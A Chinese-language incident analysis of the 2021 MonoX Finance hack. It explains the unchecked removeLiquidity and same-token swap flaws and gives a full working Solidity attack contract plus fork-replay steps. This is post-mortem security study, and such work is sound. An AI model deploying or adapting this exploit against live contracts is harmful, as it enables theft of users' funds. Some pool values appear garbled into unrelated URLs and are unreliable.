前言

2021 年 11 ? 30 ?，DeFi 平臺 MonoX Finance 遭遇攻擊，損失共計約 3100 萬美元，
造成本次攻擊的漏洞主要有兩個：

移除流動性的函式未對呼叫者進行檢測，使得任何用戶都可以移除提供者的流動性，
代幣交換函式未對傳入的幣對進行檢測，可通過傳入相同的幣種抬高該幣價格，

以太坊網路

攻擊者地址：0xecbe385f78041895c311070f344b55bfaa953258
攻擊合約：0xf079d7911c13369e7fd85607970036d2883afcfd
攻擊交易（block@13715025）：
https://etherscan.io/tx/0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299

polygon網路

攻擊者地址 2：0x8f6a86f3ab015f4d03ddb13abb02710e6d7ab31b
攻擊合約 2：0x119914de3ae03256fd58b66cd6b8c6a12c70cfb2
攻擊交易 2：
https://polygonscan.com/tx/0x5a03b9c03eedcb9ec6e70c6841eaa4976a732d050a6218969e39483bb3004d5d

兩個網路上的攻擊手段相同，在本文中只對以太坊網路的攻擊進行分析，

專案資訊

首先通過閱讀官方檔案對整個專案進行了解：MonoX docs
攻擊的交易資訊：【ethtx】0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299

以下是關鍵點摘要：

Single Token Liquidity pools function by grouping the deposited token into a virtual pair with our virtual USD stablecoin (vCASH), instead of having the liquidity provider deposit multiple pool pairs, they only have to deposit one.
All the pools/pairs are in the same ERC1155 contract. Monoswap
In exchange for providing liquidity, the LP receives their share of the liquidity reserve and the ERC1155 LP token. Liquidity providers receive a share of the fees proportional to their share of the liquidity reserve.
When one removes liquidity from the pool for Token A, the price of the token stays the same. The pool burns the liquidity provider’s ERC 1155 LP token. In exchange, the pool transfers to the user their share of Token A’s virtual pair’s net value. When the vCASH balance is positive, the user will get their share of vCASH plus their share of Token A. When the vCASH balance is negative, the user will receive their share of Token A, minus their share of vCASH debt valued in Token A.
LPs providing liquidity in selected/promo pools will get non-transferrable $MONO shares. MONO-ERC20

專案合約地址

Monoswap address: 0xC36a7887786389405EA8DA0B87602Ae3902B88A1
MonoXPool address: 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4
MONO address: 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D
vCASH address: 0x532D7ebE4556216490c9d03460214b58e4933454

攻擊流程分析

攻擊的目的是極大地提高 MONO 的價格，然后用 MONO 通過 MonoSwap 換取其他代幣

攻擊合約向 WETH 存 0.1 個 ETH，并授權給 Monoswap 的代理合約
用 0.1 WETH 從 Monoswap 中換出 79.986094311542621010 MONO

呼叫 Monoswap 的 pools 函式，查詢 MONO-vCash 的相關資訊

pid=10, lastPoolValue=https://www.cnblogs.com/ACaiGarden/p/531057465205747239605262, token=MONO, status=2, vcashDebt=0, vcashCredit=417969352001142975260, tokenBalance=101764473116983332370454, price=5218495054176274115, createdAt=1637853228

呼叫 MonoXPool 的 totalSupplyOf 函式, 查詢 MONO-vCash 池子中作為 LP 證明的 MONO 的總量，
呼叫 MonoXPool 的 balanceOf 函式，查詢提供大量流動性的用戶（要移除流動性的目標）在 MONO-vCash 池子中作為 LP 證明的 MONO 數量，提供流動性的用戶可以在其 token 頁面找到（只有三位用戶提供了流動性），

移除提供大量流動性的用戶的流動性，使得池中的 vCash 為 0 ，MONO 為 0 ，

pid=10, lastPoolValue=https://www.cnblogs.com/ACaiGarden/p/1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=0, price=5218495054176274115, createdAt=1637853228

往 MONO-vCash 池中添加流動性 196875656 MONO ，獲得 927 liquidity .

pid=10, lastPoolValue=https://www.cnblogs.com/ACaiGarden/p/1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=196875656, price=5218495054176274115, createdAt=1637853228

呼叫 55 次 Monoswap.swapExactTokenForToken 函式，其中 tokenIn=MONO, tokenOut=MONO ，此舉的目的是為了提高 MONO 的價格，使得 amountOut > amountIn ，此時的 MONO 價格已經大幅度上升到了 843741636512366463585990541128 ，
```
pid=10, lastPoolValue=https://www.cnblogs.com/ACaiGarden/p/1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=28065601457649448980, price=843741636512366463585990541128, createdAt=1637853228
```
然后通過呼叫 swapTokenForExactToken 函式，以高價的 MONO 換空池中的其他代幣，達到獲利的目的，

代碼分析

移除流動性漏洞

removeLiquidity 函式未對呼叫者進行檢測，使得任何用戶都可以移除提供者的流動性，

價格提升漏洞

整體的代碼流程如圖，通過傳入相同的代幣（tokenIn=MONO, tokenOut=MONO），大幅拉升該代幣的價格，

swapExactTokenForToken 函式

跟入 swapIn 函式

getAmountOut函式

_getNewPrice函式

_getAvgPrice函式

攻擊合約

pragma solidity ^0.7.6;

interface WETH9{
    function deposit() external payable;
    function approve(address guy, uint wad) external;
}

interface Monoswap{
    function swapExactTokenForToken(
    address tokenIn,
    address tokenOut,
    uint amountIn,
    uint amountOutMin,
    address to,
    uint deadline
    ) external;

    function removeLiquidity (address _token, uint256 liquidity, address to, 
    uint256 minVcashOut, 
    uint256 minTokenOut) external;

    function addLiquidity (address _token, uint256 _amount, address to) external;

    enum PoolStatus {
    UNLISTED,
    LISTED,
    OFFICIAL,
    SYNTHETIC,
    PAUSED
    }

    function pools(address) external view
        returns (
            uint256 pid,
            uint256 lastPoolValue,
            address token,
            PoolStatus status,
            uint112 vcashDebt,
            uint112 vcashCredit,
            uint112 tokenBalance,
            uint256 price,
            uint256 createdAt
        );
    
    function swapTokenForExactToken(
        address tokenIn,
        address tokenOut,
        uint amountInMax,
        uint amountOut,
        address to,
        uint deadline
        ) external;
}

interface MonoXPool{
    function balanceOf(address account, uint256 id) external returns (uint256);
}

interface MonoToken{
    function approve(address spender, uint256 amount) external;
    function balanceOf(address account) external returns(uint256);
}

contract attack{
    address WETH9_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address vCash_address = 0x532D7ebE4556216490c9d03460214b58e4933454;
    address MONO_address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
    address USDC_address =  0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    address MonoXPool_address = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
    address Monoswap_address =  0xC36a7887786389405EA8DA0B87602Ae3902B88A1;

    // the only 3 MONO liquidity providers
    address LiquidityProvider1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
    address LiquidityProvider2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
    address LiquidityProvider3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;

    // Please deplay with 0.1 eth.
    function S1_Get_and_Approve_WETH() public{
        WETH9(WETH9_address).deposit{value:0.1 ether, gas:40000}();
        WETH9(WETH9_address).approve(Monoswap_address,0.1 ether);
    }

    // Swap the token form WETH to MONO in Monoswap.
    function S2_Swap_form_WETH_to_MONO() public{
        Monoswap(Monoswap_address).swapExactTokenForToken(WETH9_address, MONO_address, 0.1 ether, 1, address(this), block.timestamp);
    }

    // Remove the liqiudity of MONO pool.
    function S3_Remove_Liquidity() public{
        // Get the MONO banlance of provider, then remove it.
        uint256 balanceOfProvider1 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider1, 10);
        Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider1, LiquidityProvider1, 0, 0);

        uint256 balanceOfProvider2 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider2, 10);
        Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider2, LiquidityProvider2, 0, 0);

        uint256 balanceOfProvider3 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider3, 10);
        Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider3, LiquidityProvider3, 0, 0);
        // After this step, the MONO and vCash banlances of pool is 0.
        // But the price of MONO has not changed.
    }

    // Approve and add liqiudity to the MONO pool.
    function S4_Add_Liqiudity_of_MONO() public{
        MonoToken(MONO_address).approve(Monoswap_address, type(uint256).max);
        // The attacker add 196875656 MONO.
        Monoswap(Monoswap_address).addLiquidity(MONO_address, 196875656, address(this));
    }

    // To raise the price of MONO by swap MONO to MONO 55 times.
    function S5_Raise_MONO_Price() public{
        uint112 MONO_InPool;
        for(uint256 i = 0; i < 55; i++){
            // Get amount of MONO in pool.
            (,,,,,,MONO_InPool,,) = Monoswap(Monoswap_address).pools(MONO_address);
            // Swap MONO to MONO.
            Monoswap(Monoswap_address).swapExactTokenForToken(MONO_address, MONO_address, MONO_InPool-1, 0, address(this), block.timestamp);
        }
    }

    // Swaping the USDC by high price MONO.
    function S6_Swap_MONO_to_USDC() public{
        // Get the MONO balance of this contract.
        uint256 MONO_InThis;
        MONO_InThis = MonoToken(MONO_address).balanceOf(address(this));

        // Get the USDC banlance of pool.
        // uint256 USDC_InPool;
        //(,,,,,,USDC_InPool,,) = Monoswap(Monoswap_address).pools(USDC_address);

        // Using MONO to swap 4000000000000 USDC, while 4000000000000 < USDC_InPool.
        Monoswap(Monoswap_address).swapTokenForExactToken(Monoswap_address, USDC_address, MONO_InThis, 4000000000000, msg.sender, block.timestamp);
    }

    // Because MonoXPool is ERC1155 contract, this function is necessary.
    function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
        bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
        // a = 0xf23a6e61
        return a;
    }

    receive() payable external{}
}

漏洞復現

要設定 -l gas limit，否則會不夠用，

ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/{your key}@13715025 -l 4294967295

匯入賬戶

部署合約，并往合約轉入 0.1 eth

依次呼叫攻擊合約中的攻擊函式

攻擊結果

參考文章

【github】W2Ning/MonoX_Vul_
【慢霧】DeFi 平臺 MonoX Finance 被黑分析
【MonoX】MonoX docs
【ethtx】0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299

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前言